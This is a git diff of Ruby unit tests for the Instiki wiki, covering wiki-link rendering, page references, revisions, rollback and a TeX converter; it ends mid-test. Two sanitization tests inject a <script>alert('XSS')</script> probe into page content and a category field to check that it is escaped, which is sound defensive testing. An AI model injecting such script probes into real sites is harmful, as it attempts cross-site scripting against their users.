-    @revision.content = "VersionHistory\r\n\r\ncry VersionHistory"
-    assert_equal "<p><span class='newWikiWord'>Version History" +
-        "<a href='../show/VersionHistory'>?</a></span></p>\n\n<p>cry " +
-        "<span class='newWikiWord'>Version History<a href='../show/VersionHistory'>?</a>" +
-        '</span></p>', 
-        x_test_renderer(@revision).display_content
-  
-    @revision.content = "f\r\nVersionHistory\r\n\r\ncry VersionHistory"
-    assert_equal "<p>f <span class='newWikiWord'>Version History" +
-        "<a href='../show/VersionHistory'>?</a></span></p>\n\n<p>cry " +
-        "<span class='newWikiWord'>Version History<a href='../show/VersionHistory'>?</a>" +
-        "</span></p>", 
-        x_test_renderer(@revision).display_content
-  end  
-  
-  def test_difficult_wiki_words
-    @revision.content = "[[It's just awesome GUI!]]"
-    assert_equal "<p><span class='newWikiWord'>It&#39;s just awesome GUI!" +
-        "<a href='../show/It%27s+just+awesome+GUI%21'>?</a></span></p>", 
-        x_test_renderer(@revision).display_content
-  end
-  
-  def test_revisions_diff
-    Revision.create(:page => @page, :content => 'What a blue and lovely morning', 
-        :author => Author.new('DavidHeinemeierHansson'), :revised_at => Time.now)
-    Revision.create(:page => @page, :content => 'What a red and lovely morning today', 
-        :author => Author.new('DavidHeinemeierHansson'), :revised_at => Time.now)
-
-    @page.reload
-    assert_equal "<p><span> What a<del class='diffmod'> blue</del><ins class='diffmod'> red" +
-        "</ins> and lovely morning<ins class='diffins'> today</ins></span></p>", x_test_renderer(@page.revisions.last).display_diff
-  end
-  
-  def test_nowiki_sanitization
-    assert_markup_parsed_as('<p>This sentence contains <span>a &amp; b</span> ' +
-     '&lt;script&gt;alert(&quot;XSS!&quot;);&lt;/script&gt;. Do not touch!</p>',
-      'This sentence contains <nowiki><span>a & b</span> <script>alert("XSS!");' +
-      '</script></nowiki>. Do not touch!')
-  end
-  
-  def test_link_to_file
-    assert_markup_parsed_as( 
-      "<p><span class='newWikiWord'>doc.pdf<a href='../file/doc.pdf'>?</a></span></p>",
-      '[[doc.pdf:file]]')
-  end
-  
-  def test_link_to_pic_and_file
-    WikiFile.delete_all
-    require 'fileutils'
-    FileUtils.rm_rf("#{RAILS_ROOT}/webs/wiki1/files/*")
-    @web.wiki_files.create(:file_name => 'square.jpg', :description => 'Square', :content => 'never mind')
-    assert_markup_parsed_as(
-      "<p><img alt='Blue Square' src='../file/square.jpg'/></p>",
-      '[[square.jpg|Blue Square:pic]]')
-    assert_markup_parsed_as( 
-      "<p><img alt='Square' src='../file/square.jpg'/></p>",
-      '[[square.jpg:pic]]')
-    assert_markup_parsed_as(
-      "<p><a class='existingWikiWord' href='../file/square.jpg' title='Square'>Blue Square</a></p>",
-      '[[square.jpg|Blue Square:file]]')
-    assert_markup_parsed_as(
-      "<p><video controls='controls' src='../file/square.jpg'>Blue Square</video></p>",
-      '[[square.jpg|Blue Square:video]]')
-    assert_markup_parsed_as(
-      "<p><audio controls='controls' src='../file/square.jpg'>Blue Square</audio></p>",
-      '[[square.jpg|Blue Square:audio]]')
-    assert_markup_parsed_as( 
-      "<p><a class='existingWikiWord' href='../file/square.jpg' title='Square'>Square</a></p>",
-      '[[square.jpg:file]]')
-  end
-  
-  def test_link_to_pic_and_file_null_desc
-    WikiFile.delete_all
-    require 'fileutils'
-    FileUtils.rm_rf("#{RAILS_ROOT}/webs/wiki1/files/*")
-    @web.wiki_files.create(:file_name => 'square.jpg', :description => '', :content => 'never mind')
-    assert_markup_parsed_as(
-      "<p><img alt='Blue Square' src='../file/square.jpg'/></p>",
-      '[[square.jpg|Blue Square:pic]]')
-    assert_markup_parsed_as( 
-      "<p><img alt='' src='../file/square.jpg'/></p>",
-      '[[square.jpg:pic]]')
-    assert_markup_parsed_as(
-      "<p><a class='existingWikiWord' href='../file/square.jpg' title=''>Blue Square</a></p>",
-      '[[square.jpg|Blue Square:file]]')
-    assert_markup_parsed_as( 
-      "<p><a class='existingWikiWord' href='../file/square.jpg' title=''></a></p>",
-      '[[square.jpg:file]]')
-  end
-  
-  def test_link_to_non_existant_pic
-  	assert_markup_parsed_as(
-  	    "<p><span class='newWikiWord'>NonExistant<a href='../file/NonExistant.jpg'>?</a>" +
-  	    '</span></p>',
-        '[[NonExistant.jpg|NonExistant:pic]]')
-  	assert_markup_parsed_as(
-  	    "<p><span class='newWikiWord'>NonExistant.jpg<a href='../file/NonExistant.jpg'>?</a>" +
-  	    '</span></p>',
-        '[[NonExistant.jpg:pic]]')
-  end
-  
-  def test_wiki_link_with_colon
-  	assert_markup_parsed_as(
-  	  "<p><a class='existingWikiWord' href='../show/HomePage'>HomePage</a></p>",
-  	  '[[wiki1:HomePage]]')
-  end
-  
-  def test_wiki_link_with_colon_interwiki
-  	assert_markup_parsed_as(
-  	  "<p><a class='existingWikiWord' href='../../instiki/show/HomePage' title='instiki'>HomePage</a></p>",
-  	  '[[instiki:HomePage]]')
-  end
-
-  def test_list_with_tildas
-    list_with_tildas = <<-EOL
-* [a](~b)
-* c~ d
-    EOL
-  
-    assert_markup_parsed_as(
-        "<ul>\n<li><a href='~b'>a</a></li>\n\n<li>c~ d</li>\n</ul>",
-        list_with_tildas)
-  end
-  
-  def test_textile_image_in_mixed_wiki
-    set_web_property :markup, :mixed
-    assert_markup_parsed_as(
-      "<p><img alt='' src='http://google.com'/>\nss</p>",
-      "!http://google.com!\r\nss")
-  end
-
-  
-  def test_references_creation_links
-    new_page = @web.add_page('NewPage', 'HomePage NewPage', 
-        Time.local(2004, 4, 4, 16, 50), 'AlexeyVerkhovsky', x_test_renderer)
-        
-    references = new_page.wiki_references(true)
-    assert_equal 2, references.size
-    assert_equal 'HomePage', references[0].referenced_name
-    assert_equal WikiReference::LINKED_PAGE, references[0].link_type
-    assert_equal 'NewPage', references[1].referenced_name
-    assert_equal WikiReference::LINKED_PAGE, references[1].link_type
-  end
-
-  def test_references_creation_includes
-    new_page = @web.add_page('NewPage', '[[!include IncludedPage]]',
-        Time.local(2004, 4, 4, 16, 50), 'AlexeyVerkhovsky', x_test_renderer)
-        
-    references = new_page.wiki_references(true)
-    assert_equal 1, references.size
-    assert_equal 'IncludedPage', references[0].referenced_name
-    assert_equal WikiReference::INCLUDED_PAGE, references[0].link_type
-  end
-
-  def test_references_creation_redirects
-    new_page = @web.add_page('NewPage', '[[!redirects OtherPage]]',
-        Time.local(2004, 4, 4, 16, 50), 'AlexeyVerkhovsky', x_test_renderer)
-        
-    references = new_page.wiki_references(true)
-    assert_equal 1, references.size
-    assert_equal 'OtherPage', references[0].referenced_name
-    assert_equal WikiReference::REDIRECTED_PAGE, references[0].link_type
-  end
-
-   def test_references_creation_redirects_in_included_page
-    new_page = @web.add_page('NewPage', "[[!redirects OtherPage]]\ncategory: plants",
-        Time.local(2004, 4, 4, 16, 50), 'AlexeyVerkhovsky', x_test_renderer)
-    second_page = @web.add_page('SecondPage', '[[!include NewPage]]',
-        Time.local(2004, 4, 4, 16, 50), 'AlexeyVerkhovsky', x_test_renderer)
-        
-    references = new_page.wiki_references(true)
-    assert_equal 2, references.size
-    assert_equal 'OtherPage', references[0].referenced_name
-    assert_equal WikiReference::REDIRECTED_PAGE, references[0].link_type
-    assert_equal 'plants', references[1].referenced_name
-    assert_equal WikiReference::CATEGORY, references[1].link_type
-
-    references = second_page.wiki_references(true)
-    assert_equal 1, references.size
-    assert_equal 'NewPage', references[0].referenced_name
-    assert_equal WikiReference::INCLUDED_PAGE, references[0].link_type
-  end
-
- def test_references_creation_categories
-    new_page = @web.add_page('NewPage', "Foo\ncategory: NewPageCategory",
-        Time.local(2004, 4, 4, 16, 50), 'AlexeyVerkhovsky', x_test_renderer)
-
-    references = new_page.wiki_references(true)
-    assert_equal 1, references.size
-    assert_equal 'NewPageCategory', references[0].referenced_name
-    assert_equal WikiReference::CATEGORY, references[0].link_type
-  end
-
-  def test_references_creation_sanitized_categories
-    new_page = @web.add_page('NewPage', "Foo\ncategory: <script>alert('XSS');</script>",
-        Time.local(2004, 4, 4, 16, 50), 'AlexeyVerkhovsky', x_test_renderer)
-
-    references = new_page.wiki_references(true)
-    assert_equal 1, references.size
-    assert_equal "&lt;script&gt;alert(&#39;XSS&#39;);&lt;/script&gt;", references[0].referenced_name
-    assert_equal WikiReference::CATEGORY, references[0].link_type
-  end
-  
-  def test_rendering_included_page_under_different_modes
-    included = @web.add_page('Included', 'link to HomePage', Time.now, 'AnAuthor', x_test_renderer)
-    main = @web.add_page('Main', '[[!include Included]]', Time.now, 'AnAuthor', x_test_renderer)
-    
-    assert_equal "<p>link to <a class='existingWikiWord' href='../show/HomePage'>Home Page</a></p>", 
-                 x_test_renderer(main).display_content
-    assert_equal "<p>link to <a class='existingWikiWord' href='../published/HomePage'>Home Page</a></p>",
-                 x_test_renderer(main).display_published
-    assert_equal "<p>link to <a class='existingWikiWord' href='HomePage.html'>Home Page</a></p>", 
-                 x_test_renderer(main).display_content_for_export
-  end
-
-  def test_rendering_included_page_backslashes_in_equations
-    included = @web.add_page('Included', '\\\\ $\begin{matrix} a \\\\ b\end{matrix}$', Time.now, 'AnAuthor', x_test_renderer)
-    main = @web.add_page('Main', '[[!include Included]]', Time.now, 'AnAuthor', x_test_renderer)
-    
-    assert_equal "<p>\\ <math class='maruku-mathml' display='inline' " +
-                 "xmlns='http://www.w3.org/1998/Math/MathML'><mrow><mtable rowspacing='0.5ex'>" +
-                 "<mtr><mtd><mi>a</mi></mtd></mtr> <mtr><mtd><mi>b</mi></mtd></mtr></mtable>" +
-                 "</mrow></math></p>", 
-                 x_test_renderer(main).display_content
-  end
-
-  private
-
-  def add_sample_pages
-    @in_love = @web.add_page('EverBeenInLove', 'Who am I me', 
-        Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson', x_test_renderer)
-    @hated = @web.add_page('EverBeenHated', 'I am me EverBeenHated', 
-        Time.local(2004, 4, 4, 16, 51), 'DavidHeinemeierHansson', x_test_renderer)
-  end
-
-  def assert_markup_parsed_as(expected_output, input)
-    revision = Revision.new(:page => @page, :content => input, :author => Author.new('AnAuthor'))
-    assert_equal expected_output, x_test_renderer(revision).display_content(true), 'Rendering output not as expected'
-  end
-
-  def assert_match_markup_parsed_as(expected_output, input)
-    revision = Revision.new(:page => @page, :content => input, :author => Author.new('AnAuthor'))
-    assert_match expected_output, x_test_renderer(revision).display_content, 'Rendering output not as expected'
-  end
-
-  def rendered_content(page)
-    x_test_renderer(page.revisions.last).display_content
-  end
-  
-end
diff --git a/test/unit/page_test.rb b/test/unit/page_test.rb
old mode 100644
new mode 100755
index 8e2499fd..050bc8cd
--- a/test/unit/page_test.rb
+++ b/test/unit/page_test.rb
@@ -1,12 +1,23 @@
-require File.expand_path(File.dirname(__FILE__) + '/../test_helper')
+#!/bin/env ruby -w
 
-class PageTest < ActiveSupport::TestCase
-  fixtures :webs, :pages, :revisions, :system
-  
-  def setup
-    @page = pages(:first_page)
+require File.dirname(__FILE__) + '/../test_helper'
+require 'web'
+require 'page'
+
+class PageTest < Test::Unit::TestCase
+
+  class MockWeb < Web
+    def initialize() super(nil, 'test','test') end
+    def [](wiki_word) %w( MyWay ThatWay SmartEngine ).include?(wiki_word) end
+    def refresh_pages_with_references(name) end
   end
 
+  def setup
+    @page = Page.new(MockWeb.new, "FirstPage")
+    @page.revise("HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in that SmartEngineGUI", 
+      Time.local(2004, 4, 4, 16, 50),
+      "DavidHeinemeierHansson")
+  end
 
   def test_lock
     assert !@page.locked?(Time.local(2004, 4, 4, 16, 50))
@@ -32,166 +43,47 @@ class PageTest < ActiveSupport::TestCase
   end
 
   def test_revise
-    @page.revise('HisWay would be MyWay in kinda lame', @page.name, Time.local(2004, 4, 4, 16, 52), 
-        'MarianneSyhler', x_test_renderer)
-    @page.reload
-
+    @page.revise('HisWay would be MyWay in kinda lame', Time.local(2004, 4, 4, 16, 55), 'MarianneSyhler')
     assert_equal 2, @page.revisions.length, 'Should have two revisions'
-    assert_equal 'MarianneSyhler', @page.current_revision.author.to_s, 
-        'Mary should be the author now'
-    assert_equal 'DavidHeinemeierHansson', @page.revisions.first.author.to_s, 
-        'David was the first author'
+    assert_equal 'MarianneSyhler', @page.author, 'Mary should be the author now'
+    assert_equal 'DavidHeinemeierHansson', @page.revisions.first.author, 'David was the first author'
   end
   
   def test_revise_continous_revision
-    @page.revise('HisWay would be MyWay in kinda lame', @page.name, Time.local(2004, 4, 4, 16, 55), 
-        'MarianneSyhler', x_test_renderer)
-    @page.reload
+    @page.revise('HisWay would be MyWay in kinda lame', Time.local(2004, 4, 4, 16, 55), 'MarianneSyhler')
     assert_equal 2, @page.revisions.length
-    assert_equal 'HisWay would be MyWay in kinda lame', @page.content
 
-    # consecutive revision by the same author within 30 minutes doesn't create a new revision
-    @page.revise('HisWay would be MyWay in kinda update', @page.name, Time.local(2004, 4, 4, 16, 57), 
-        'MarianneSyhler', x_test_renderer)
-    @page.reload
+    @page.revise('HisWay would be MyWay in kinda update', Time.local(2004, 4, 4, 16, 57), 'MarianneSyhler')
     assert_equal 2, @page.revisions.length
-    assert_equal 'HisWay would be MyWay in kinda update', @page.content
-    assert_equal Time.local(2004, 4, 4, 16, 57), @page.revised_at
+    assert_equal 'HisWay would be MyWay in kinda update', @page.revisions.last.content
+    assert_equal Time.local(2004, 4, 4, 16, 57), @page.revisions.last.created_at
 
-    # but consecutive revision by another author results in a new revision
-    @page.revise('HisWay would be MyWay in the house', @page.name, Time.local(2004, 4, 4, 16, 58), 
-        'DavidHeinemeierHansson', x_test_renderer)
-    @page.reload
+    @page.revise('HisWay would be MyWay in the house', Time.local(2004, 4, 4, 16, 58), 'DavidHeinemeierHansson')
     assert_equal 3, @page.revisions.length
-    assert_equal 'HisWay would be MyWay in the house', @page.content
+    assert_equal 'HisWay would be MyWay in the house', @page.revisions.last.content
 
-    # consecutive update after 30 minutes since the last one also creates a new revision, 
-    # even when it is by the same author
-    @page.revise('HisWay would be MyWay in my way', @page.name, Time.local(2004, 4, 4, 17, 30), 
-        'DavidHeinemeierHansson', x_test_renderer)
-    @page.reload
+    @page.revise('HisWay would be MyWay in my way', Time.local(2004, 4, 4, 17, 30), 'DavidHeinemeierHansson')
     assert_equal 4, @page.revisions.length
   end
-  
-  def test_change_name
-    @page.revise('HisWay would be MyWay in my way', 'SecondPage', Time.local(2004, 4, 5, 17, 56), 
-        'MarianneSyhler', x_test_renderer)
-    @page.reload
-
-    assert_equal "Second Page", @page.plain_name
-    assert_equal 2, @page.revisions.length, 'Should have two revisions'
-    assert_equal 'MarianneSyhler', @page.current_revision.author.to_s, 
-        'Marianne should be the author now'
-    assert_equal 'DavidHeinemeierHansson', @page.revisions.first.author.to_s, 
-        'David was the first author'
-  end
 
   def test_revise_content_unchanged
-    last_revision_before = @page.current_revision
+    last_revision_before = @page.revisions.last
     revisions_number_before = @page.revisions.size
   
     assert_raises(Instiki::ValidationError) { 
-      @page.revise(@page.current_revision.content, @page.name, Time.now, 'AlexeyVerkhovsky', x_test_renderer)
+      @page.revise(@page.revisions.last.content.dup, Time.now, 'AlexeyVerkhovsky')
     }
     
-    assert_equal last_revision_before, @page.current_revision(true)
+    assert_same last_revision_before, @page.revisions.last
     assert_equal revisions_number_before, @page.revisions.size
   end
 
-  def test_revise_changes_references_from_wanted_to_linked_for_new_pages
-    web = Web.find(1)
-    new_page = Page.new(:web => web, :name => 'NewPage')
-    new_page.revise('Reference to WantedPage, and to WantedPage2', 'NewPage', Time.now, 'AlexeyVerkhovsky', 
-        x_test_renderer)
-    
-    references = new_page.wiki_references(true)
-    assert_equal 2, references.size
-    assert_equal 'WantedPage', references[0].referenced_name
-    assert_equal WikiReference::WANTED_PAGE, references[0].link_type
-    assert_equal 'WantedPage2', references[1].referenced_name
-    assert_equal WikiReference::WANTED_PAGE, references[1].link_type
-
-    wanted_page = Page.new(:web => web, :name => 'WantedPage')
-    wanted_page.revise('And here it is!', 'WantedPage', Time.now, 'AlexeyVerkhovsky', x_test_renderer)
-
-    # link type stored for NewPage -> WantedPage reference should change from WANTED to LINKED
-    # reference NewPage -> WantedPage2 should remain the same
-    references = new_page.wiki_references(true)
-    assert_equal 2, references.size
-    assert_equal 'WantedPage', references[0].referenced_name
-    assert_equal WikiReference::LINKED_PAGE, references[0].link_type
-    assert_equal 'WantedPage2', references[1].referenced_name
-    assert_equal WikiReference::WANTED_PAGE, references[1].link_type
-  end
-
-  def test_revise_changes_references_from_wanted_to_linked_for_redirected_pages
-    web = Web.find(1)
-    new_page = Page.new(:web => web, :name => 'NewPage')
-    new_page.revise("Reference to H\xC3\xA1ppyPage, and to WantedPage2", 'NewPage', Time.local(2004, 4, 5, 17, 56), 'AlexeyVerkhovsky', 
-        x_test_renderer)
-    
-    references = new_page.wiki_references(true)
-    assert_equal 2, references.size
-    p = ''.respond_to?(:force_encoding) ? "H\u00E1ppyPage" : "H\303\241ppyPage"
-    assert_equal p, references[0].referenced_name
-    assert_equal WikiReference::WANTED_PAGE, references[0].link_type
-    assert_equal 'WantedPage2', references[1].referenced_name
-    assert_equal WikiReference::WANTED_PAGE, references[1].link_type
-    wanted_pages = web.select.wanted_pages
-    assert_equal ["HisWay", p, "OverThere", "WantedPage2"], wanted_pages
-
-    my_page = Page.new(:web => web, :name => 'MyPage')
-    my_page.revise("[[!redirects H\xC3\xA1ppyPage]]\nAnd here it is!", 'MyPage', Time.now, 'AlexeyVerkhovsky', x_test_renderer)
-    my_references = my_page.wiki_references(true)
-    assert_equal 1, my_references.size
-    assert_equal p, my_references[0].referenced_name
-    assert_equal WikiReference::REDIRECTED_PAGE, my_references[0].link_type
-    wanted_pages = web.select.wanted_pages
-    assert_equal ["HisWay", "OverThere", "WantedPage2"], wanted_pages
-
-    # link type stored for NewPage -> HappyPage reference should change from WANTED to LINKED
-    # reference NewPage -> WantedPage2 should remain the same
-    references = new_page.wiki_references #(true)
-    s = ''.respond_to?(:force_encoding) ? "Reference to <a class='existingWikiWord' href='\.\./show/MyPage'>H\u00E1ppy Page</a>" :
-       "Reference to <a class='existingWikiWord' href='\.\./show/MyPage'>H\303\241ppy Page</a>"
-    assert_match( s,
-         x_test_renderer(new_page.revisions.last).display_content(true) )
-    assert_equal 2, references.size
-    assert_equal p, references[0].referenced_name
-#   Doesn't work, since picking up the change in wiki_references requires a database query.
-#    assert_equal WikiReference::LINKED_PAGE, references[0].link_type
-    assert_equal 'WantedPage2', references[1].referenced_name
-    assert_equal WikiReference::WANTED_PAGE, references[1].link_type
-    wanted_pages = web.select.wanted_pages
-    assert_equal ["HisWay", "OverThere", "WantedPage2"], wanted_pages
-    
-    new_page.revise("Reference to H\xC3\xA1ppyPage and to WantedPage2.pdf and [[foo.pdf]]", 'NewPage', Time.now, 'AlexeyVerkhovsky', 
-        x_test_renderer)
-    references = new_page.wiki_references(true)
-    s = ''.respond_to?(:force_encoding) ? "<p>Reference to <a class='existingWikiWord' href='\.\./show/MyPage'>H\u00E1ppy Page</a>" :
-        "<p>Reference to <a class='existingWikiWord' href='\.\./show/MyPage'>H\303\241ppy Page</a>"
-    assert_equal( s +
-      " and to <span class='newWikiWord'>Wanted Page2<a href='../show/WantedPage2'>?</a></span>.pdf " +
-      "and <span class='newWikiWord'>foo.pdf<a href='../show/foo.pdf'>?</a></span></p>",
-         x_test_renderer(new_page.revisions.last).display_content(true) )
-    assert_equal 3, references.size
-#   now it works.
-    assert_equal p, references[0].referenced_name
-    assert_equal WikiReference::LINKED_PAGE, references[0].link_type
-    assert_equal 'WantedPage2', references[1].referenced_name
-    assert_equal WikiReference::WANTED_PAGE, references[1].link_type
-    assert_equal 'foo.pdf', references[2].referenced_name
-    assert_equal WikiReference::WANTED_PAGE, references[1].link_type
-    wanted_pages = web.select.wanted_pages
-    assert_equal ["HisWay", "OverThere", "WantedPage2"], wanted_pages
-  end
-
   def test_rollback
-    @page.revise("spot two", @page.name, Time.now, "David", x_test_renderer)
-    @page.revise("spot three", @page.name, Time.now + 2000, "David", x_test_renderer)
-    assert_equal 3, @page.revisions(true).length, "Should have three revisions"
-    @page.current_revision(true)
-    @page.rollback(0, Time.now, '127.0.0.1', x_test_renderer)
-    assert_equal "HisWay would be MyWay $\\sin(x)\\begin{svg}<svg/>\\end{svg}\\includegraphics[width=3em]{foo}$ in kinda ThatWay in HisWay though MyWay \\\\OverThere -- see SmartEngine in that SmartEngineGUI", @page.current_revision(true).content
+    @page.revise("spot two", Time.now, "David")
+    @page.revise("spot three", Time.now + 2000, "David")
+    assert_equal 3, @page.revisions.length, "Should have three revisions"
+    @page.rollback(1, Time.now)
+    assert_equal "spot two", @page.content
   end
+  
 end
diff --git a/test/unit/redcloth_for_tex_test.rb b/test/unit/redcloth_for_tex_test.rb
new file mode 100755
index 00000000..82270303
--- /dev/null
+++ b/test/unit/redcloth_for_tex_test.rb
@@ -0,0 +1,69 @@
+#!/bin/env ruby -w
+
+require File.dirname(__FILE__) + '/../test_helper'
+require 'redcloth_for_tex'
+
+class RedClothForTexTest < Test::Unit::TestCase
+  def test_basics
+    assert_equal '{\bf First Page}', RedClothForTex.new("*First Page*").to_tex
+    assert_equal '{\em First Page}', RedClothForTex.new("_First Page_").to_tex
+    assert_equal "\\begin{itemize}\n\t\\item A\n\t\t\\item B\n\t\t\\item C\n\t\\end{itemize}", RedClothForTex.new("* A\n* B\n* C").to_tex
+  end
+  
+  def test_blocks
+    assert_equal '\section*{hello}', RedClothForTex.new("h1. hello").to_tex
+    assert_equal '\subsection*{hello}', RedClothForTex.new("h2. hello").to_tex
+  end
+  
+  def test_table_of_contents
+
+source = <<EOL
+* [[A]]
+** [[B]]
+** [[C]]
+* D
+** [[E]]
+*** F
+EOL
+
+expected_result = <<EOL
+\\pagebreak
+
+\\section{A}
+Abe
+
+\\subsection{B}
+Babe
+
+\\subsection{C}
+\\pagebreak
+
+\\section{D}
+
+\\subsection{E}
+
+\\subsubsection{F}
+EOL
+    expected_result.chop!
+    assert_equal(expected_result, table_of_contents(source, 'A' => 'Abe', 'B' => 'Babe'))
+  end
+  
+  def test_entities
+    assert_equal "Beck \\& Fowler are 100\\% cool", RedClothForTex.new("Beck & Fowler are 100% cool").to_tex
+  end
+
+  def test_bracket_links
+    assert_equal "such a Horrible Day, but I won't be Made Useless", RedClothForTex.new("such a [[Horrible Day]], but I won't be [[Made Useless]]").to_tex
+  end
+  
+  def test_footnotes_on_abbreviations
+    assert_equal(
+      "such a Horrible Day\\footnote{1}, but I won't be Made Useless", 
+      RedClothForTex.new("such a [[Horrible Day]][1], but I won't be [[Made Useless]]").to_tex
+    )
+  end
+  
+  def test_subsection_depth
+    assert_equal "\\subsubsection*{Hello}", RedClothForTex.new("h4. Hello").to_tex
+  end
+end
\ No newline at end of file
diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb
new file mode 100755
index 00000000..bd84e660
--- /dev/null
+++ b/test/unit/revision_test.rb
@@ -0,0 +1,335 @@
+#!/bin/env ruby -w
+
+require File.dirname(__FILE__) + '/../test_helper'
+require 'web'
+require 'revision'
+require 'fileutils'
+
+class RevisionTest < Test::Unit::TestCase
+
+  def setup
+    setup_test_wiki
+    @web.markup = :textile
+
+    @page = @wiki.read_page('wiki1', 'HomePage')
+    ['MyWay', 'SmartEngine', 'ThatWay'].each do |page|
+      @wiki.write_page('wiki1', page, page, Time.now, 'Me')
+    end
+    @wiki.write_page('wiki1','NoWikiWord', 'hey you', Time.now, 'Me')
+
+    @revision = Revision.new(@page, 1,
+      'HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \OverThere -- ' +
+          'see SmartEngine in that SmartEngineGUI', 
+      Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson')
+  end
+
+  def test_wiki_words
+    assert_equal %w( HisWay MyWay SmartEngine SmartEngineGUI ThatWay ), @revision.wiki_words.sort
+    
+    @wiki.write_page('wiki1', 'NoWikiWord', 'hey you', Time.now, 'Me')
+    assert_equal [], @wiki.read_page('wiki1', 'NoWikiWord').wiki_words
+  end
+  
+  def test_existing_pages
+    assert_equal %w( MyWay SmartEngine ThatWay ), @revision.existing_pages.sort
+  end
+  
+  def test_unexisting_pages
+    assert_equal %w( HisWay SmartEngineGUI ), @revision.unexisting_pages.sort
+  end
+  
+  def test_content_with_wiki_links
+    assert_equal '<p><span class="newWikiWord">His Way<a href="../show/HisWay">?</a></span> ' +
+        'would be <a class="existingWikiWord" href="../show/MyWay">My Way</a> in kinda ' +
+        '<a class="existingWikiWord" href="../show/ThatWay">That Way</a> in ' +
+        '<span class="newWikiWord">His Way<a href="../show/HisWay">?</a></span> ' +
+        'though <a class="existingWikiWord" href="../show/MyWay">My Way</a> OverThere&#8212;see ' +
+        '<a class="existingWikiWord" href="../show/SmartEngine">Smart Engine</a> in that ' +
+        '<span class="newWikiWord">Smart Engine GUI' +
+        '<a href="../show/SmartEngineGUI">?</a></span></p>', 
+        @revision.display_content
+  end
+
+  def test_markdown
+    @web.markup = :markdown
+
+    assert_markup_parsed_as(
+        %{<h1>My Headline</h1>\n\n<p>that <span class="newWikiWord">} +
+        %{Smart Engine GUI<a href="../show/SmartEngineGUI">?</a></span></p>}, 
+        "My Headline\n===========\n\nthat SmartEngineGUI")
+
+	code_block = [ 
+	    'This is a code block:',
+        '',
+        '    def a_method(arg)',
+        '    return ThatWay',
+        '',
+        'Nice!'
+      ].join("\n")
+
+	assert_markup_parsed_as(
+	    %{<p>This is a code block:</p>\n\n<pre><code>def a_method(arg)\n} +
+	    %{return ThatWay\n</code></pre>\n\n<p>Nice!</p>}, 
+	    code_block)
+  end
+  
+  def test_markdown_hyperlink_with_slash
+    # in response to a bug, see http://dev.instiki.org/attachment/ticket/177
+    @web.markup = :markdown
+
+    assert_markup_parsed_as(
+        '<p><a href="http://example/with/slash">text</a></p>', 
+        '[text](http://example/with/slash)')
+  end
+
+  def test_mixed_formatting
+
+    textile_and_markdown = [
+      'Markdown heading',
+      '================',
+      '',
+      'h2. Textile heading',
+      '',
+      '*some* **text** _with_ -styles-',
+      '',
+      '* list 1',
+      '* list 2'
+    ].join("\n")
+    
+    @web.markup = :markdown
+    assert_markup_parsed_as(
+      "<h1>Markdown heading</h1>\n\n" +
+      "<p>h2. Textile heading</p>\n\n" +
+      "<p><em>some</em> <strong>text</strong> <em>with</em> -styles-</p>\n\n" +
+      "<ul>\n<li>list 1</li>\n<li>list 2</li>\n</ul>",
+      textile_and_markdown)
+    
+    @web.markup = :textile
+    assert_markup_parsed_as(
+      "<p>Markdown heading<br />================</p>\n\n\n\t<h2>Textile heading</h2>" +
+      "\n\n\n\t<p><strong>some</strong> <b>text</b> <em>with</em> <del>styles</del></p>" +
+      "\n\n\n\t<ul>\n\t<li>list 1</li>\n\t\t<li>list 2</li>\n\t</ul>",
+      textile_and_markdown)
+    
+    @web.markup = :mixed
+    assert_markup_parsed_as(
+      "<h1>Markdown heading</h1>\n\n\n\t<h2>Textile heading</h2>\n\n\n\t" +
+      "<p><strong>some</strong> <b>text</b> <em>with</em> <del>styles</del></p>\n\n\n\t" +
+      "<ul>\n\t<li>list 1</li>\n\t\t<li>list 2</li>\n\t</ul>",
+      textile_and_markdown)
+  end
+
+  def test_rdoc
+    @web.markup = :rdoc
+
+    @revision = Revision.new(@page, 1, '+hello+ that SmartEngineGUI', 
+        Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson')
+
+    assert_equal "<tt>hello</tt> that <span class=\"newWikiWord\">Smart Engine GUI" +
+        "<a href=\"../show/SmartEngineGUI\">?</a></span>\n\n", @revision.display_content
+  end
+  
+  def test_content_with_auto_links
+    assert_markup_parsed_as(
+        '<p><a href="http://www.loudthinking.com/">http://www.loudthinking.com/</a> ' +
+        'points to <a class="existingWikiWord" href="../show/ThatWay">That Way</a> from ' +
+        '<a href="mailto:david@loudthinking.com">david@loudthinking.com</a></p>', 
+        'http://www.loudthinking.com/ points to ThatWay from david@loudthinking.com')
+
+  end  
+
+  def test_content_with_aliased_links
+    assert_markup_parsed_as(
+        '<p>Would a <a class="existingWikiWord" href="../show/SmartEngine">clever motor' +
+	    '</a> go by any other name?</p>',
+        'Would a [[SmartEngine|clever motor]] go by any other name?')
+  end
+
+  def test_content_with_wikiword_in_em
+    assert_markup_parsed_as(
+        '<p><em>should we go <a class="existingWikiWord" href="../show/ThatWay">' +
+	    'That Way</a> or <span class="newWikiWord">This Way<a href="../show/ThisWay">?</a>' +
+	    '</span> </em></p>', 
+        '_should we go ThatWay or ThisWay _')
+  end
+
+  def test_content_with_wikiword_in_tag
+    assert_markup_parsed_as(
+        '<p>That is some <em style="WikiWord">Stylish Emphasis</em></p>', 
+	    'That is some <em style="WikiWord">Stylish Emphasis</em>')
+  end
+
+  def test_content_with_escaped_wikiword
+    # there should be no wiki link
+    assert_markup_parsed_as('<p>WikiWord</p>', '\WikiWord')
+  end
+
+  def test_content_with_pre_blocks
+    assert_markup_parsed_as(
+	    '<p>A <code>class SmartEngine end</code> would not mark up <pre>CodeBlocks</pre></p>', 
+	    'A <code>class SmartEngine end</code> would not mark up <pre>CodeBlocks</pre>')
+  end
+
+  def test_content_with_autolink_in_parentheses
+    assert_markup_parsed_as(
+        '<p>The <span class="caps">W3C</span> body (<a href="http://www.w3c.org">' +
+	    'http://www.w3c.org</a>) sets web standards</p>', 
+	    'The W3C body (http://www.w3c.org) sets web standards')
+  end
+
+  def test_content_with_link_in_parentheses
+    assert_markup_parsed_as(
+        '<p>(<a href="http://wiki.org/wiki.cgi?WhatIsWiki">What is a wiki?</a>)</p>',
+        '("What is a wiki?":http://wiki.org/wiki.cgi?WhatIsWiki)')
+  end
+
+  def test_content_with_image_link
+	assert_markup_parsed_as( 
